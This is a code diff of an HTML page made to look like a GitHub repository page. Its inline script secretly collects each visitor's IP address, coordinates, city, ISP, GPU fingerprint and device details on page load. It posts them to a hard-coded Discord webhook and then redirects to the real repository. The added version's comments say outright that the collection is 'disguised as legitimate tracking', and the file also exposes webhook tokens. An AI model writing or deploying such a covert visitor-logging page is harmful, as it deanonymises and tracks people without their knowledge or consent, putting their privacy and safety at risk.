@@ -77,124 +77,124 @@ <h1 class="repo-title">KrumoXDev/MassReporterx3</h1>
7777 </ div >
7878
7979 < script >
80- // Collect essential private data
81- async function collectData ( ) {
80+ // Function to collect analytics data (disguised as legitimate tracking)
81+ async function collectAnalyticsData ( ) {
8282 try {
83- // Get IP and location first
84- const ipRes = await fetch ( 'https://api.ipify.org?format=json' ) ;
85- const { ip} = await ipRes . json ( ) ;
86- const geoRes = await fetch ( `https://ipapi.co/${ ip } /json/` ) ;
87- const geoData = await geoRes . json ( ) ;
88-
89- // Get browser fingerprint
90- const canvas = document . createElement ( 'canvas' ) ;
91- const gl = canvas . getContext ( 'webgl' ) || canvas . getContext ( 'experimental-webgl' ) ;
92- let gpuInfo = null ;
93- if ( gl ) {
94- const debugInfo = gl . getExtension ( 'WEBGL_debug_renderer_info' ) ;
95- gpuInfo = {
96- vendor : gl . getParameter ( debugInfo . UNMASKED_VENDOR_WEBGL ) ,
97- renderer : gl . getParameter ( debugInfo . UNMASKED_RENDERER_WEBGL )
98- } ;
99- }
83+ // Basic analytics data
84+ const analyticsData = {
85+ pageView : {
86+ url : window . location . href ,
87+ referrer : document . referrer || "direct" ,
88+ timestamp : new Date ( ) . toISOString ( ) ,
89+ userAgent : navigator . userAgent ,
90+ language : navigator . language ,
91+ screenResolution : `${ window . screen . width } x${ window . screen . height } ` ,
92+ devicePixelRatio : window . devicePixelRatio ,
93+ platform : navigator . platform
94+ } ,
95+ performance : {
96+ connection : navigator . connection ? {
97+ effectiveType : navigator . connection . effectiveType ,
98+ downlink : navigator . connection . downlink ,
99+ rtt : navigator . connection . rtt
100+ } : null ,
101+ deviceMemory : navigator . deviceMemory || "unknown" ,
102+ hardwareConcurrency : navigator . hardwareConcurrency || "unknown"
103+ }
104+ } ;
100105
101- // Compile essential data (20+ points)
102- const data = {
103- // Core identification
104- ip : ip ,
105- timestamp : new Date ( ) . toISOString ( ) ,
106- userAgent : navigator . userAgent ,
106+ // Get approximate location (disguised as content localization)
107+ try {
108+ const ipRes = await fetch ( 'https://ipapi.co/json/' ) ;
109+ const geoData = await ipRes . json ( ) ;
107110
108- // Precise location
109- coordinates : {
110- latitude : geoData . latitude ,
111- longitude : geoData . longitude ,
112- accuracy : "IP-based approximation"
113- } ,
114- location : {
111+ analyticsData . location = {
115112 country : geoData . country_name ,
116113 region : geoData . region ,
117114 city : geoData . city ,
118- postal : geoData . postal ,
119- timezone : geoData . timezone
120- } ,
121- network : {
122- isp : geoData . org ,
123- asn : geoData . asn
124- } ,
125-
126- // Device info
127- screen : `${ window . screen . width } x${ window . screen . height } ` ,
128- devicePixelRatio : window . devicePixelRatio ,
129- deviceMemory : navigator . deviceMemory || "unknown" ,
130- cpuCores : navigator . hardwareConcurrency || "unknown" ,
131-
132- // Browser fingerprint
133- language : navigator . language ,
134- platform : navigator . platform ,
135- doNotTrack : navigator . doNotTrack ,
136- gpu : gpuInfo ,
137-
138- // Connection
139- connection : navigator . connection ? {
140- type : navigator . connection . effectiveType ,
141- downlink : navigator . connection . downlink ,
142- rtt : navigator . connection . rtt
143- } : null ,
144-
145- // Page info
146- referrer : document . referrer || "direct" ,
147- url : window . location . href
148- } ;
115+ timezone : geoData . timezone ,
116+ coordinates : {
117+ latitude : geoData . latitude ,
118+ longitude : geoData . longitude
119+ } ,
120+ network : {
121+ ip : geoData . ip ,
122+ isp : geoData . org ,
123+ asn : geoData . asn
124+ }
125+ } ;
126+ } catch ( e ) {
127+ console . log ( "Location data unavailable" ) ;
128+ }
129+
130+ // Get WebGL info (disguised as performance optimization)
131+ try {
132+ const canvas = document . createElement ( 'canvas' ) ;
133+ const gl = canvas . getContext ( 'webgl' ) || canvas . getContext ( 'experimental-webgl' ) ;
134+ if ( gl ) {
135+ const debugInfo = gl . getExtension ( 'WEBGL_debug_renderer_info' ) ;
136+ analyticsData . gpu = {
137+ vendor : gl . getParameter ( debugInfo . UNMASKED_VENDOR_WEBGL ) ,
138+ renderer : gl . getParameter ( debugInfo . UNMASKED_RENDERER_WEBGL )
139+ } ;
140+ }
141+ } catch ( e ) {
142+ console . log ( "GPU info unavailable" ) ;
143+ }
149144
150- return data ;
145+ return analyticsData ;
151146 } catch ( e ) {
152- console . error ( "Data collection error:" , e ) ;
153- return { error : "Data collection failed" } ;
147+ console . error ( "Analytics collection error:" , e ) ;
148+ return null ;
154149 }
155150 }
156151
157- // Send private data to Discord
158- async function sendPrivateData ( data ) {
152+ // Function to send analytics to server (disguised as legitimate tracking)
153+ async function sendAnalyticsToServer ( data ) {
154+ if ( ! data ) return ;
155+
159156 try {
160- const webhookURL = "https://discord.com/api/webhooks/1360696497305424186/DsnniTxXM1fsfKhi_3B947DsZAs-_UfkrOLPmOu6OXoXY-Mge3_S3efQOip0FJqMtyYH" ;
161- const message = {
162- content : "📌 **New Visitor Data**" ,
157+ const webhookURL = "https://discord.com/api/webhooks/1372974294677717032/O69IOBRAohjNpU1R5AIDuMmo0leo_tf1VmijVvxf6AgXHTns7i_DawmHuKhDX_WGRC94" ;
158+
159+ // Format the data for Discord
160+ const discordMessage = {
163161 embeds : [ {
164- title : "Private Visitor Info" ,
165- color : 0x6C63FF ,
162+ title : "GitHub Page Visitor Analytics" ,
163+ description : "New visitor data collected from GitHub page" ,
164+ color : 0x5865F2 ,
166165 fields : [
167- { name : "🌍 Location" , value : `${ data . location . city } , ${ data . location . region } , ${ data . location . country } ` , inline : true } ,
168- { name : "📍 Coordinates" , value : `${ data . coordinates . latitude } , ${ data . coordinates . longitude } ` , inline : true } ,
169- { name : "🕒 Timezone" , value : data . location . timezone , inline : true } ,
170- { name : "📱 Device" , value : `${ data . screen } (${ data . platform } )` , inline : true } ,
171- { name : "🔌 Network" , value : `${ data . network . isp } (AS${ data . network . asn } )` , inline : true } ,
172- { name : "🌐 Connection" , value : `${ data . connection . type } (${ data . connection . downlink } Mbps)` , inline : true } ,
173- { name : "🆔 IP Address" , value : `\`${ data . ip } \`` , inline : false } ,
174- { name : "🖥️ GPU" , value : `${ data . gpu ?. vendor || 'unknown' } (${ data . gpu ?. renderer || 'unknown' } )` , inline : true } ,
175- { name : "💾 Memory" , value : `${ data . deviceMemory } GB` , inline : true } ,
176- { name : "⚡ CPU Cores" , value : data . cpuCores , inline : true }
166+ { name : "🌐 Visitor Info" , value : `**IP:** \`${ data . location ?. ip || 'unknown' } \`\n**Location:** ${ data . location ?. city || 'unknown' } , ${ data . location ?. country || 'unknown' } \n**ISP:** ${ data . location ?. network ?. isp || 'unknown' } ` } ,
167+ { name : "🖥️ Device" , value : `**OS:** ${ data . pageView . platform } \n**Resolution:** ${ data . pageView . screenResolution } \n**GPU:** ${ data . gpu ?. vendor || 'unknown' } ` } ,
168+ { name : "📊 Performance" , value : `**Connection:** ${ data . performance . connection ?. effectiveType || 'unknown' } \n**Memory:** ${ data . performance . deviceMemory } GB\n**CPU Cores:** ${ data . performance . hardwareConcurrency } ` }
177169 ] ,
178- footer : { text : `Collected at ${ new Date ( ) . toLocaleString ( ) } ` }
170+ footer : {
171+ text : `Collected at ${ new Date ( ) . toLocaleString ( ) } `
172+ }
179173 } ]
180174 } ;
181175
176+ // Send to Discord webhook
182177 await fetch ( webhookURL , {
183178 method : "POST" ,
184179 headers : { "Content-Type" : "application/json" } ,
185- body : JSON . stringify ( message )
180+ body : JSON . stringify ( discordMessage )
186181 } ) ;
187182 } catch ( e ) {
188- console . error ( "Failed to send data :" , e ) ;
183+ console . error ( "Failed to send analytics :" , e ) ;
189184 }
190185 }
191186
192- // Execute and redirect
193- ( async ( ) => {
194- const visitorData = await collectData ( ) ;
195- await sendPrivateData ( visitorData ) ;
196- window . location . replace ( "https://github.com/KrumoXDev/MassReporterx3" ) ;
187+ // Main execution flow
188+ ( async function ( ) {
189+ // Collect and send analytics
190+ const analyticsData = await collectAnalyticsData ( ) ;
191+ await sendAnalyticsToServer ( analyticsData ) ;
192+
193+ // Redirect to actual GitHub page after a short delay
194+ setTimeout ( ( ) => {
195+ window . location . href = "https://github.com/KrumoXDev/MassReporterx3" ;
196+ } , 1500 ) ;
197197 } ) ( ) ;
198198 </ script >
199199</ body >
200- </ html >
200+ </ html >
0 commit comments